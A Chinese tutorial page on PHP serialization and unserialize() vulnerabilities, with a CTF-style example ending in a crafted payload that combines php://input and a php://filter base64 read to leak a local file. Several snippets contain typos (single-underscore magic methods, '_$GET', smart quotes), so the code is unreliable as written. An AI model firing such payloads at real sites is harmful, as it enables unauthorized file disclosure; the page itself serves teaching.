概念&原理

序列化就是使用 serialize() 将对象用字符串的方式进行表示;

反序列化是使用 unserialize() 将序列化的字符串构造成相应的对象,为序列化的逆过程。

序列化的对象可以是class或者是Array\String对象

序列化与反序列化的作用

对象是在内存中存储的数据类型,其寿命随着生成程序的终止而终止。为了将对象的状态保存下来,在需要的时候将其恢复,使用序列化将对象转化为二进制字符串进行保存。用于对象的传递。

对象序列化

示例代码

<?php
class Person{
private $name="Thinking";
private $sex='man';
function say($name,$sex){
echo 'My name is'.$name.'I am a'.$sex;
}
}
serialize(new Person);
//结果为:O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}
$B=array('name'=>'Thinking','sex'=>'man');
echo serialize($B);
//result:a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}
?>

对于结果:

O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}

a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}

结构为:

对象类型:对象名长度:"对象名":对象成员变量个数:{变量1类型:变量名1长度:变量名1;参数1类型:参数1长度:参数1...}

对象类型:用O表示,Array类型用a表示

变量和参数类型:string用s表示,int用i表示,Array用a表示

符号:参数与变量之间用;隔开,同一参数与变量之间的数据用:隔开。

反序列化

概念:将存储好的或者进行传递的序列化后的字符串转化为对象,然后用于对象的操作。

示例;

<?php
$saveData = ‘O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}’;
var_dump(unserialize($saveData));
?>
//output
class _PHP_Incomplete_Class#1(3){
public $_PHP_Incomplete_Class_Name=>
string(6) "Person"
public $Person name=>
string(8) "Thinking"
public $Person sex=>
string(3) "man"
}

反序列化存在的问题

问题产生的原因:漏洞的根源在于unserialize()函数的参数是可控的。如果反序列化对象中存在魔术方法,而且魔术方法的代码或者变量可控,就可能产生反序列化漏洞。

魔术方法即特殊的函数,魔术函数,其命名以_开头。

反序列化的漏洞中常见的魔术方法:

_construct():在对象创建的时候调用 如使用new操作符创建一个新的实例时,调用该方法。【构造方法】

_destruct():在脚本运行结束时被自动调用 在销毁一个类之间执行析构方法

_sleep():在对象被序列化的时候调用 该函数必须返回一个数组或者对象,一般返回的是当前的对象$this,返回的 值将被用来做序列化的值,如果不返回,序列化失败

_wakeup():在反序列化为对象的时候调用

_toString():直接输出对象引用时自动被调用,该方法必须返回一个字符串,否则产生一个E_RECOVERABLE_ERROR级别的错误。

例题

//index.php
<?php
$user=_$GET["user"];
$file=$_GET["file"];
$pass=$_GET["pass"];
if(isset($user)&&(file_get_contents('$user1','r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file);//class.php
$pass=unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin";
}
?>
//class.php
<?php
class Read{//f1a9.php
public $file;
public function _toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "_toString was called";
}
}
?>

构造payload:

GET DATA :?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;}

POST DATA:the user is admin

经过请求可以得到经过base64编码的f1a9.php。

php _weakup()反序列化漏洞的更多相关文章

  1. 反序列化漏洞问题研究之php篇

    php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...

  2. Weblogic反序列化漏洞补丁更新解决方案

    Weblogic反序列化漏洞的解决方案基于网上给的方案有两种: 第一种方案如下 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉 ...

  3. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  4. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  5. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  6. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

  7. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  8. weblogic AND jboss 反序列化漏洞

    C:\Program Files\Java\jboss-4.2.3.GA\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF serv ...

  9. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

随机推荐

  1. 如何看待Java是世界上最好的语言?

    Java出现二十多年以来,一直都是主流的开发语言,Java创建于 1995 年,在 20多年的发展历程中,Java 已经证明自己是用于自定义软件开发的顶级通用编程语言. Java 广泛应用于科学教育. ...

  2. LeetCode--链表3-经典问题

    LeetCode--链表3-经典问题 题1 反转链表 第一次代码超出时间限制 原因是,反转之后链表的尾部节点和头结点连上了 /** * Definition for singly-linked lis ...

  3. .NET Core 基于Websocket的在线聊天室

    什么是Websocket 我们在传统的客户端程序要实现实时双工通讯第一想到的技术就是socket通讯,但是在web体系是用不了socket通讯技术的,因为http被设计成无状态,每次跟服务器通讯完成后 ...

  4. 一键制作镜像并发布到k8s

    *:first-child { margin-top: 0 !important; } .markdown-body>*:last-child { margin-bottom: 0 !impor ...

  5. python入门到放弃-基本数据类型之dcit字典

    1.概述 字典是python中唯一的一个映射类型,以{}大括号括起来的键值对组成 字典中的key是唯一的,必须是可hash,不可变的数据类型 语法:{key1:value,key2:value} #扩 ...

  6. Unity 相机平移、旋转、缩放

    内容不多,一个脚本,直接上代码 using System.Collections; using System.Collections.Generic; using UnityEngine; publi ...

  7. 迷你记事本 https://vladocar.github.io/Minimal-Notes/

    迷你记事本 https://vladocar.github.io/Minimal-Notes/

  8. 部署prometheus监控kubernetes集群并存储到ceph

    简介 Prometheus 最初是 SoundCloud 构建的开源系统监控和报警工具,是一个独立的开源项目,于2016年加入了 CNCF 基金会,作为继 Kubernetes 之后的第二个托管项目. ...

  9. 基于SIP协议的性能测试——奇林软件kylinPET

    一.Sip协议简介: SIP(Session Initiation Protocol,会话初始协议)是由IETF(Internet Engineering Task Force,因特网工程任务组)制定 ...

  10. 详解聚类算法Kmeans的两大优化——mini-batch和Kmeans++

    本文始发于个人公众号:TechFlow,原创不易,求个关注 今天是机器学习专题的第13篇文章,我们来看下Kmeans算法的优化. 在上一篇文章当中我们一起学习了Kmeans这个聚类算法,在算法的最后我 ...